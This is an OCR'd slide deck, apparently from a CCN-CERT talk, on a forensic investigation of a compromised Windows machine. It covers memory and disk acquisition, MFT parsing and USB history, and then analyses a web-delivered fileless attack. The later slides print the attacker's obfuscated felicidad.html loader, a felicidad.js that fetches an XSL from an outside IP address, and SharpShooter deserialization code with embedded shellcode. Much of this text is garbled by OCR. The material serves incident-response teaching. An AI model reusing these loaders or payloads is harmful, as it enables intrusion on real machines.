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SEGURIDAD aniro aptolégies nedonal

A CAUTION

[ ] [ ]

YOUR RUNNING COMPUTER V | I | I
HAS A GOLDMINE
OF INFORMATION

THAT IS LOST

IF you FUEEE

TURN IT OFF
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S cov-cert

Capturar la memoria
RAM es prioritari




coy-cert (&1
<entro criptolégico nacional .

T Rosusctaon
Datos de triage:

rapidez vy eficacia
n Less Urgent
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SEGURIDAD aniro aptolégies nedonal

Discos duros: siempre, y con
cuidado
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Conserva la cadena
de evidencia
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Consejos

# Nunca escribas en el disco origen

Ten un procedimiento de copia
Haz una copia forense = bit a bit
Documenta la adquisicion

H O FH FH F

Realiza otra copia de las evidencias
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Extra 1: MFT

= MFT (Master File Table)

= Sistemas de ficheros NTFS (Windows XP+)

= Guarda un “indice” de los ficheros del sistema
= | ocalizacion, tiempos MAC, tamanfo...

= Tool: mftdump
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Extra 1 : MFT

Convertimos la MFT de formato binario a .csv

C:\Usershantonio'\DesktopForense_MINAFYPaso2_MFT=mftdump.exe /1 /o mft_parseada.csv SMFT
§MFT file 1s 206,831,616 bytes.
§MFT f1le contains 201,984 file records.

Records processed: 201,984 (100% Complete)

SMFT file processing complete.

Output filename 1s mft_parseada. csv

C:\Usershantonio\Desktop'Forense_MINAF\PasoZ_MFT:=
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Extra 1: MFT

C:%Usershantonio'Desktop'Forense MINAFYPasoZ_MFT=dir

E1l volumen de la unidad C no tiene etiqueta.
E1 nimero de serie del wvolumen es: 1D3C-5470

Mrectorio de C:%Usershantonio'Desktop'Forense_MINAFYPasoZ_MFT

03,/11,/2018 18:40 <DIR=
3/11,/2018 18:40 <DIR= .
JOB/2008 16:12 206.831.616 SMFT
JO05,/2007  13:05 135.680 grep.exe
3/09,/2012 14:18 509, 440 mftdump. exe
3/11/2018 18:32 84,724,474 mft_parseada.csv
4 archivos 292.201. 210 bytes
2 dirs 6.385.954. 816 bytes Tibres

DwWUsershantonioh Desktop'\Forense MINAFPaso?_MFT=grep 2018-11-03 mft_parseada.csv > mft_2018-11-03. txt

C:%UsershantonioyDesktop'Forense MINAF\Paso2 MFT=dir

El wvolumen de 1a unidad C no tiene etiqueta.
E1 nimero de serie del wvolumen es: 1D3C-5470

Mrectorio de C:%Usershantonio'Desktop'Forense_MINAFYPasoZ_MFT

03,/11,/2018 18:41 <DIR=
112008 18:41 <DIR= .
JOB/2008 16:12 206.831.616 SMFT
JO05,/2007  13:05 135.680 grep.exe
3/09/2012 14:18 509, 440 mftdump. exe
3/11,/2018 18:41 10.054.541 mft_2018-11-03.txt
3/11/2018 18:32 84,724,474 mft_parseada.csv
5 archivos 302.255.751 hytes
2 dirs 6.376.435.712 bytes Tibres

DWUsershantonio'DesktophForense_MINAFYPasoZ_MFT=
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SEGURIDAD

Extra 1 : MFT

coN-cert

<entro criptolégico nacional

A
18123 jguery.min[1].js

B

C

D

E

03/11/201810:04 03/11/2018 10:04 03/11/2018 10:04 03/11/2018 10:04

F G H 1 J K L M e

94020 \Users\pepe.contento.MINAF\AppData\Local\Microsoft\Windows\Tempaorary Internet File

18124 EasePack.min[1].js 03/11/2018 10:04 03/11/2018 10:04 03/11/2018 10:04 03/11/2018 10:04 5467 \Users\pepe.contento.MINAF\AppData\Local\Microsoft\Windows\Tempaorary Internet File
18125 TweenMax.min[1] Buscar y reemplazar | 2 2% | hternet File
18126 0001000C.dir ndex\Index
18127 0001000C.wid Buscar | Reemplazar ndex\Index
18128 0001000C.ci Buscar: Felicidad E ndex\Index
18129 pixel[2].htm nternet File
18130 300x250-DBM-Org nternet File
18131 view9LABTKTLgif hternet File
18132 usync[2].htm nternet File
18133 index[6].htm Buscar todos ] [ Buscar siguients J [ Cerrar ] nternet File
18134 pixel[4].htm nternet File
18135 optout_check[1].] Libro Hoja Mombre  Celda Valor Férmula hternet File
18135 spaypfamu[1].js | | Mt_2018-11-03.6t  mft_2018-11-03 $A§18152  feliddad.je hternet File
18137 viewRESEJINQA.gi mft_2018-11-03.txt  mft_2018-11-03 53515152 ‘J..l.sPTrs\pPTpE.cuntentu..MINAF‘\ADDDaiB\Lucal\I'~"Ii|:rusuf‘t‘\\"iinduws‘\TEmpurary Internet Files\Content. IE5\7IIE4WaD feliddad. js hternet File
mft_2018-11-03.txt  mft_2018-11-03 SAS18153  feliddad.js:Zone.Identifier
18138 securepubads.g.d| 4 o015-11-05.txt  mft_2018-11-03 $G$18153  Users\pepe. contento. MINAF \AppData\Local Microsoft Windows\Temperary Internet Files\Content. IES\7JIE4W3D \feliddad.js: Zone  Identifier Store\25KL
18133 Mapfre_Coches_A | mft_2018-11-03.txt  mft_2018-11-03 $A§18155  felicidad[1].htm pternet File
18140 fondo_Desenfo[1] | mft_2018-11-03.txt  mft_2018-11-03 $G$18155  \Users\pepe, contento, MINAF\AppData\Local Microsoft\Windows Temparary Internet Files\Content, IES\PIND 3164\ felicidad[ 1].htm nternet File
18141 ed40f967e-2362-4e| | mft_2018-11-03.txt  mft_2018-11-03 SAS18156  feliddad[1].xsl hternet File
18142 fondo_Enfo[1].jpg mft_2018-11-03.txt  mft_2018-11-03 56818156  Users\pepe.contento. MINAF\AppData\Local \Microsoft\Windows{Temporary Internet Files\Content. IES{TCAS1035 \feliddad[1]. xsl hternet File
i mft_2018-11-03.txt  mft_2018-11-03 $A§18157  feliddad[1].js ;
18143 cookie{1] mft_2018-11-03.txt  mft_2018-11-03 56818157  Users\pepe.contento. MINAF\AppDataiLocalMicrosoft\windows Temporary Internet Files\Content. IESYTCAS1035 feliddad[1].js pternet File
18144 PugMaster[3].htry nternet File
13145 “WRS{DCOESDF5- nternet File
18146 SPug[1].txt nternet File
18147 {E2DFB594-DFAF-1 ery\High'v
18148 ~DFF2411CAEAAG] [ 17 2a(s) encontradas p
12149 dnserror[1] 03/11/201810:04 03/11/2018 10:04 03/11/201210:04 03/11/2018 10:04 1923 \Users\pepe.contento.MINAF\AppData\Local\Microsoft\Windows\Temporary Internet File@
18150 NewErrorPageTemplate[1] 03/11/201810:04 03/11/2018 10:04 03/11/2018 10:04 03/11/2018 10:04 1310 \Users\pepe.contento.MINAF\AppData\Local\Microsoft\Windows\Temporary Internet File
18151 {EB81DFSE-DF4F-11E8-A4CE-E  03/11/201810:04 03/11/2018 10:04 03/11/2018 14:53 03/11/2018 14:53 4096 \Users\pepe.contento.MINAF\AppData\Local\Microsoft\Internet Explorer\Recovery\High'y
18152 |felicidad.js 03/11/201810:05 03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05 161 \Users\pepe.contento.MINAF\AppData‘Local\Microsoft\Windows\Temporary Internet File
18153 felicidad.js:Zone.ldentifier 03/11/201810:05 03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05 26 \Users\pepe.contento.MINAF\AppData\Local\Microsoft\Windows\Temporary Internet File
18154 WSCRIPT.EXE-65A9658F.pf 03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05 47654 \Windows\Prefetch\WSCRIPT.EXE-65A9658F.pf
18155 felicidad[1].htm 03/11/201810:05 03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05 57508 \Users\pepe.contento.MINAF\AppData\Local\Microsoft\Windows\Tempaorary Internet File
18156 felicidad[1].xsl 03/11/201810:05 03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05 19889 \Users\pepe.contento.MINAF\AppData\Local\Microsoft\Windows\Temporary Internet File
18157 | felicidad[1].js 03/11/201810:05 03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05 161 \Users\pepe.contento.MINAF\AppData‘Local\Microsoft\Windows\Temporary Internet File
18158|Crypto 03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05 \Users\pepe.contento.MINAF\AppData\Roaming\Microsoft\Crypto
EEm 18 RSA 03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05| I\Users\pepe.contento.MlNAF\AppData\Roaming\Microsoft\Crypto\RSA -
M 4 » M| mft 2018-11-03 %2 4 [ | »

[&]
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Extra 1 : MFT

coN-cert

<entro criptolégico nacional

[&]

A B = D E F G H I J K L M :
18123 jquery.min[1].js 03/11/2018 10:04 03/11/2018 10:04 03/11/2018 10:04 03/11/2018 10:04 94020 \Users\pepe.contento.MINAF\AppData\Local\Microsoft\Windows\Temporary Internet File
13124 EasePack.min[1].js 03/11/2018 10:04  03/11/2018 10:04 03/11/2018 10:04 03/11/2018 10:04 5467 \Users\pepe.contento.MINAF\AppData\\Local\Microsoft\Windows\Temporary Internet File
18125 | TweenMax.min[1 Buscar y reemplazar | 7 | 1ternet File
18126/ 0001000C.dir hdex\Index
18127 0001000C.wid Buscar | Reemplazar hdex\Index
18128 0001000C.ci Buscar: felicidad |Z| hdex\Index
18129 | pixel[2].htm nternet File
18130|300x250-DBM-Org nternet File
18131/ viewILAB7KTLgif hternet File
18132 |usyncl[2].htm nternet File
18133 |index[6].htm Buscar todos ] [ Buscar siguients ] [ Cerrar ] nternet File
18134 | pixel[4].htm nternet File
18135 optout_check[1]. Libra Haja Nombre  Celda Valor Férmula | Le o hat File
18136 spaypfamul1].js | | M-2018-11-03.6ct  mft_2018-11-03 SAS18152  felicidad.s hternet File
18137 viewRESEINQA.gi mft_2018-11-03.txt  mft_2018-11-03 £G518152 \U.se.rs\pe.pe.cnntenm..MINAF‘\.QppDaia\anaI\Micrnsnft‘\\"findnu\'s‘\Tempnrary Internet Files\Content. IES\7IIE4WID \feliddad. js hternet File
mft_2018-11-03.txt  mft_2018-11-03 £AS18153 felicidad. js:Zone. Identifier
18138 securepubads.g.d | o oni5 110360t mft_2018-11-03 $G£18153  \Userslpepe.contents. MINAF\AppDats\LocalMicrosoft\Windows Temporary Internet Files\Content. IES\TIIESWSD felicidad. js: Zone . Identifier Store\25KL
18139 Mapfre_Coches_A | mft_2018-11-03.txt  mft_2018-11-03 $A§18155  feliidad[1].htm pternet File
18140 fondo_Desenfo[l] | mft_2018-11-03.txt  mft_2018-11-03 £G£18155  \Users'pepe.contento. MINAF\AppData'LocalMicrosoft\Windows {Temporary Internet Files\Content. IES\PIND 3164\ felicidad[1] . htm nternet File
18141 | e40f967e-2362-4e| | mft_2018-11-03.txt  mft_2018-11-03 SAS18156  felicidad[1].xsl hternet File
18142|fondo_Enfol1l.jpg mft_2018-11-03.txt  mft_2018-11-03 £G£18156  \Users\pepe.contento.MINAF\AppDats\Local\Microsoft\Windows\Temporary Internet Files\Content. IES\TCAS10 35 \felicidad[ 1] xsl hternet File
i mft_2018-11-03. et mft_2018-11-03 $A$18157  felicidad[1].js .

18143 |cookief1] mft_2018-11-03.txt  mft_2018-11-03 $G518157  \Users'pepe.contento, MINAF\AppDataiLocal Microsoft\Windows {Temporary Internet Files\Content. IES{TCAS1035 felicidad[1].js pternet File
18144 PugMaster[3].htm nternet File
18145 ~“WRS{DCOESDF5- nternet File
18146|SPug[1].txt nternet File
18147|{E2DFB594-DFA4F-1] ery\High\y
18148 | “DFF2411CAEAAG] |12 ©=/da(s) encontradas p
18149 dnserror[1] 03/11/2018 10:04 03/11/2018 10:04 03/11/2018 10:04 03/11/2018 10:04 1923 \Users\pepe.contento.MINAF\AppData\Local\Microsoft\Windows\Temporary Internet File%
18150 NewErrorPageTemplate[1] 03/11/2018 10:04 03/11/2018 10:04 03/11/2018 10:04 03/11/2018 10:04 1310 \Users\pepe.contento.| I'\.l'llN,i\F\,t\pp[]ata\LocaI\I'\.l'l|cros01"t\W|nd0\m's\Temporar\ur Internet File
8152 felicidad.js 03/11/2018 10:05  03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05 161 \Users\pepe.contento.MINAF\AppData\Local\Microsoft\Windows\Temporary Internet F|I
2153 felicidad.js:Zone.ldentifier 03/11/2018 10:05  03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05 26 \Users\pepe.contento.MINAF\AppData‘\Local\Microsoft\Windows\Temporary Internet Fild
8154 WSCRIPT.EXE-65A9658F.pf 03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05 47654 \Windows\Prefetch\WSCRIPT.EXE-65A9658F.pf

2155 felicidad[1].htm 03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05 57508 \Users\pepe.contento.MINAF\AppData\Local\Microsoft\Windows\Temporary Internet Fild
8156 felmdad[l] xsl 03/11/2018 10:05  03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05 19889 \Users\pepe.contento. MINAF\AppData\LocaI\Mlcrosoﬂ\Wlndows\Temporary Internet Filg
18158 Crypto 03/11/2018 10:05  03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05 \Users\pepe.contento.MINAF\AppData\Roaming\Microsoft\Crypto

H B N 18159|RSA 03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05 03/11/2018 10:05 I\Users\pepe.contento.MINAF\AppData\Roaming\Microsoft\Crypto\RSA ~1 H B

M4 4k M| mft 2018-11-02 %1 InFRl 1 | » I



ssglngﬁR- C(.\‘CEIT

Extra 1 : MFT

= Se verifica la descarga de felicidad.js
= ACCesOo a una pagina web
» Ficheros adicionales: felicidad.ntml, felicidad.xsl
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Extra 2: USB conectados

» Comprobamos los USB conectados
» Se guarda log en el registro

= En offline con la clave SYSTEM

= Tool: USBDeview
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SEGURIDAD

Extra 2 : USB conectados

(@ umer e L e

File Edit View Options Help

[ XK@ e oo E A

Device Mame Description Device Type Connected Safe To Unpl.. Disabled

U A Port_#0001.Hub_#0001 Dispositivo de entrada USB HID (Human Interface D... Mo Yes Mo

i Port_#0001.Hub_#0002 Dispositivo de entrada USB HID (Human Interface 0... Mo Yes Mo

(0 Port_20001.Hub_#0005  SanDisk Ultra Fit USB Device Mass Storage Mo Yes Mo

4 L 2

3 itemis), 1 Selected HirSoft Freeware. httpdiwww.nirsoft.net usb.ids 15 not loaded
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Extra 2 : USB conectados

= NO se han detectado USB maliciosos
= Confirmamos C2: web
» Falta el vector de entrada
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Extra 3: Malware web

= Se obtiene del disco duro la navegaciéon
= felicidad.js, felicidad.html, felicidad.xsl
= Analisis: detectar las TTP del atacante
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SEGURIDAD <eniro aalbghs nodoncl

Andlisis del fichero felicidad.xsl Subimos a MARIA felicidad.xsl

Fecha: 2018-11-26 10:18.07

Mombre: felicidad.xsl

Tamanio: 19889 bytes

Tipo de fichero: XML 1.0 document text

Tipo MIME: application/xml

MD5: 2bb8cdb1922163ale678940fal85elea

SHAIL: 70de470a6d73118d29%ee5728ed2dd3116648f627

SHAZ256: 8b8c907db5d2541da2393259%¢eaelccde72ebbeasebd6522c13eche9laddelfed

Resultado: POSITIVO

Negativo
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felicidad.html|

Extra 3 : Malware web

S K

Please wait while your file is being downloaded...

SharePoint
Online

Opening felicidad.js

52 ~

You have chosen to open:
felicidad.js
which is: JavaScript File (161 bytes)
from: blob:

H m B #XIJornadasCCNCERT E H H

1| Waould you like to save this file?

Save File

Cancel
A

cov-cert (=
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cv-cert (&)

Extra 3 : Malware web

felicidad.html

% >
function AuRpElec(r,o){ (var t,e=[],n=0,a="",T=0;f<256;f++)e[T]=F; (f=0;f<256;f++)n=(n+e[f]+r.charCodeAt
t,a+=5tring.fromCharCode(o.charCodefAt(h) e[ (e[f]+e[n])*256])}; a;sr

function JzkdVTAY(r,o){var s=[],]j=@,x,res H (var 1=-0;i<256;i++)s[1]=1; (1=8;1<2563;i++)j=(j+s[1i]+r.char
UintBArray( ArrayBuffer(datalLength}); (var y=8;y<datalLength;y++)1=(1+1)%256,]j=(j+s[1])}%256,x=5[1],s

var SNyKNTDK = function(){ "ypipjpjuxp”};

var ThiLmpMoD = "4DjBcBoZNPtBcuebGbjB2femODDov+eTCS92wYIXHYIbryrc6jS2qYukToPWgmjLRSV2ayQPMivVaPs/LL98kSZ94Apra
UG147ZPL1K1+1MR7bMSd2 jkgI 1GgRwXFH+hmxd s twloN1J2WSCe+vKty49L CokF2RduZNIKQ="";

var PEZngNtE = AuRpElec(SNyKNTDK(),atob("1DXpMQ=="1});

setTimeout('var PEKAiLIYZt = new "+PEZngNtE+ ' ([JzkdVTAY({SNyKNTDK(), ThLmpMoD)], {type: "application/js"})");

var aPLAMpWD = AuRpElec(SNyKNTDK(), atob("vj/zPdEAMbQSeuvzCPbcl+bmNTzW2PKQALhtnodBFZcApzjH4zK2nLW a7 r+xz0/
Pzh1RWYBI3VDNIGSYMxrS41lrUPTNL2wcb8VmBPAFtVZGih1d9rIwf/57dLiu6rlubdvIX10L1gu3xcMxAGYII66ydBK jZUGIayx2 jFVF
NeUD29113TM7mWEb jWoMMpHP2SLeH1IMkz71KPnHxIizghxhgTK/McimlPfw53htR1lu@nriNuHhaG9sYealz13rC7FGe LMQS5 2hxir/jhh

setTimeout (aPLAMpWD+ ' (PEKALYZt, "felicidad.js™)'});

<f 2
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o cert

Extra 3 : Malware web

felicidad.html

< >

function AuRpElec(r,o)}{for{var t,e=[],n=0,a="",f=0;f<256;f++)e[f]=F; (f=0;f<256;T++)¥n=(n+e[f]+r.charCodeAt(
t,at+=5tring.fromCharCode(o.charCodeAt(h) e[ (e[f]+e[n] }%256]); a;s}

function JzkdVTAY(r,o){var s=[],j=0,x,res=""3; (var i=08;i<2563;i++)s[i]=1; (1=03;1<256;1++)j=(j+s[1]+r-char{

UintBArray( ArrayBuffer(datalength)); (var y=-8;y<datalength;y++)i=({1+1)%256,j=(j+s[1])%256,x=5[1],5[:

var SNyKNTDK = function(){ "ypipjpjuxp”};

var ThLmpMoD = "4Dj@cB8oZNPtBcuebGbji2femODDov+eTCSI2wYIXHYIbryrc6jS2gYukToPlWgmjLRSV2ayQPMivVaPs/LL9@kSZ94Apran
UG147ZPLIKI+IMR7bMSd2 jkgI 16gRwXFH+hmxd s twlloNi) 2WSCe+vKty49 L CokF2RAuZNIKQ=";

var PEZngNtE = AuRpElec(SNyKNTDK(),atob("1DXpMQ=="));

setTimeouwt('var PEKALIYZt = new '+PEZngNtE+'([JzkdVTAY(SNyKNTDK(), ThLmpMoD)], {type: "application/js"})');

var aPLAMpWD = AuRpElec(SNyKNTDK(), atob("vj/zPdEAMbQSeuvzCPbcl+bmNTzW2PKQALIhtnodBFZcApzjHAzK2nLW a7 r+xz0/
Pzh1RWYBI3VDNIGSYMxrS41rUPTNi2wcbBVmBPBFEVZGihldorIwf/57dLiuer luDdvIX10L1gu3xcMxAGYII66ydBKjZUGIayx2jFVF 3
NeUDI9113TM7mWEb jWoMMPHP2SL +ici e s ot 1nimrxap 1XhgTK/McimlPfw53htR1u@nriNuHhaG9sY@6lz1IrC7FGeLMQ53hxir/ jhht

setTimeout (aPLAMpWD+ " (PEKALIYZt, "felicidad.js")"i;

</ >
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Extra 3 : Malware web

felicidad.js
var xml ActiveXObject("Microsoft.XMLDOM" )
xml.async Fal
var xsl xml ;

xsl.load("http://181.132.122.231:800868/Telicidad.xs1");
xml.transformiode(xsl);
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SEﬂﬁER- Extra 3 : Malware web

TR0 T T O N T T T T T R T R T T T T G T R T TR T TR T T T T I T T T R T T
TR0 TG N O N T T T T T R T T T T YT T T G T R T TR O R T TR T T YT I T T G T R T T T
TE PO T T T T T T T T T T T T T T T
TaaAAAAAAAARARAARARARAARAARARAARARARARAAAAAARARAARARARRARARAARAARAAARAAAANMMDAT
S L L L L L L L L L T L L L L L L N L L L Y Y L L Y L L L L L LY
1]

TR PG T T T T T T T T T T T T T T T T T T T T T T T
" AAAAAAABRDOAAAADAAAA T FWAAAAKGAAAACRY AAAAGGZAAACD TeXNB ZWBUUMYmbEY jdalvbiSBC 3N
"bIseSBMb2FKEISdGVbXSkIAAAACESA™ ;

var entry_class = "SharpShooter®;

+
+
+
+
+
+
+

try {
setversion()};

var stm = basetd4ToStream(serialized obj);

var [fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArraylList');

var n = fmt.SurrogateSelector;

var d = fmt.Deserialize 2(stm};

al.Add(n);

var o = d.DynamicInvoke(al.Tofrray()).CreateInstance(entry class);

var sc = "/0jBAAAAQVFBUFIRVkgx@mVIillgSItSGEILUIBIi310SA+3SkpNMc 1 TMcCsPGFBAIWEQcHIDUEBwe LEtUKFRSIESITHCPEg
iEgBOEFYQWheWVpBWEF ZQVpIg+twgQVL/AFhBWVpIixlpWw// /11IgcRw/v/ /STIMIDBBurFKavH/ lemTAAAAKmoASI 28 ICABAABXSTIM
VSInDVENHWUWCAADrQBFYSINCSIsPQbrF2L3n/9VIMcIRUWFIid1JichIiw9Busasmnn,/ LUgxy U]/ yUGERPALAP,/VEG]/ / / 9ydWsSkbGw
¥ I+ TwEMWAAABBUUFQULFWSDHSZULLUMBIi1TYSIESIEILc1BIDY dKSkxyUgxwkwEY XwCLCBBwc kNQOHEAu1 SOVFIi1TgieT8SAH) o
HEKBBEGLEIhIAMBBWEFYX11aQVhBWUFasSIPsIEFS/+BYQV1asIsselv)//9dSDHbUBM+d21uals1ldABBYKLJ4UNHWkx31gf/ IVNTSInh
MIuleIn8YAALLL/ OXoQwAALC BTUFdKWVFabDRacUNIWUS 2MmF 2T 3hBUSNMZEZ3RX peTXNNNIRTR3BDUGH kNHRHc@pDbVNaaEcwlF ZRcl)
VhcB1HA jHWY g TAAB Juk TwhNeASAALA /OVT / B98ALVMEFUAAAB TWHpAKKMI B cHIEENHWAAQAAB Juli kUHUAAALA /IVIKINTSINNSInkSIng
o.Go(sc);
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Extra 3 : Malware web

J.J.J.J.LJ.J.J.J.LllllLJ.J.J.LLJ.J.J.J.LJ.LJ.J.LJ.LJ.J.LlLllllLJ.J.J.LLJ.J.J.J.LJ.lllllllllllllllllllllll

JLLILJllllllllllllllllllLJLJILJLJLLILJllllllllllllllllllLJLJILJLJLLILJILLLJI

J.J.J.J.LJ.J.J.J.LllllLJ.J.J.LLJ.J.J.J.LJ.LJ.J.LJ.LJ.J.LlLllllLJ.J.J.LLJ.J.J.J.LJ.lllllllllllllllllllllll

111.1].1LlllllllllllllllllLJLJLLJLJLLLLJLlllllllllllllllllLJLJLLJLJLLLLJLLLLJL

J.J.J.J.LJ.J.J.J.LllllLJ.J.J.LLJ.J.J.J.LJ.LJ.J.LJ.LJ.J.LlLllllLJ.J.J.LLJ.J.J.J.LJ.lllllllllllllllllllllll

lLLLLJLLLLJLLLLlLLLLlLlLLlLlLLJLJLLLLJLLLLlLLLLlLLLLlLJLLJLJLLJLJLLLLJLLLLJL

" AALAAAABDOAARADAAAATFWAALAKGAARACRYAALAGGEAAACH TeXNB ZWaUUmYmbaY jdalvbisBo3N1 "+
"BWIseSBMb2FKKEDS TULIIZI I I 0T

var entry class = "SharpShooter’;

try {
setversion();

var stm = basebd4ToStream(serialized obj);

var [fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArraylList');

var n = fmt.SurrogateSelector;
fmt.Deserialize 2(stm);

d.DynamicInvoke(al.ToArray()).CreateInstance(entry class);

var sc = "/0jBAAARQVFBUFIRVEkgxBmVIillgSItSGEILUIBTi310S5A+3SkpiMc1IMcCsPGFEBAIwgQcHIDUEBwe LEtUKFRSIHSITHCPEG
iEgBREFYQVheWWpBWEFZQVpIgtwegQVL/AFhBWVpIixlpWv// /11TIgcRw/ v/ /STIMIDBBurFKa7H/ lemTAAAAXmOAST2BICABAABXSTIM
VSInDVENHWUWCAADMQBFYSINCSISPQbrF2L3n/9VIMcIRUVF11id11ichIiwdBusasmnn/ WgxyUj/yUGERPALAP /VEG]/ / / SydWSkbGw
®I g+ TwEMwAAABBUUFQULFWSDHSZUILUMBI 11 TYSIESIEIL c 1BIDT dKSkBxyUgxwkwdY XwCLCBBwc kNQQHBAW1SOVFIi1 I i8I 35AH0Z
HEKBBEGLBIhIAdBBWEFYX11aQVhBWUFaSIPsIEFS/+BYQW1asIsselv/ //9dsDHbUem+d21uals1dABBVEKIL J4AUNHWkx31gf /IVNTSInh
NJuleIn8YAAAALS I XoQwAAACBtUFdkWVFabDRacUNIWUS 2MmF 2 T3hBU3NMZEZ3RXp6TXNANZRTRIBDOUGHKNHRHCBpDbVNaaEcwOFZRcl
VhcB1HBjHWYgTAAB Juk TwNeAsAAAR, IV BI8ALVMEFUAAAB TWWpAKKkMmIBCHIEENHWARAQAABJulikUHUAAARA /IVIKINTSINNSINxSING
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Extra 3 : Malware web

= Ataque a través de Sharpshooter

= Multiples niveles de ofuscacién

= Se carga en memoria = ataque fileless
= Dificil de detectar por los antivirus
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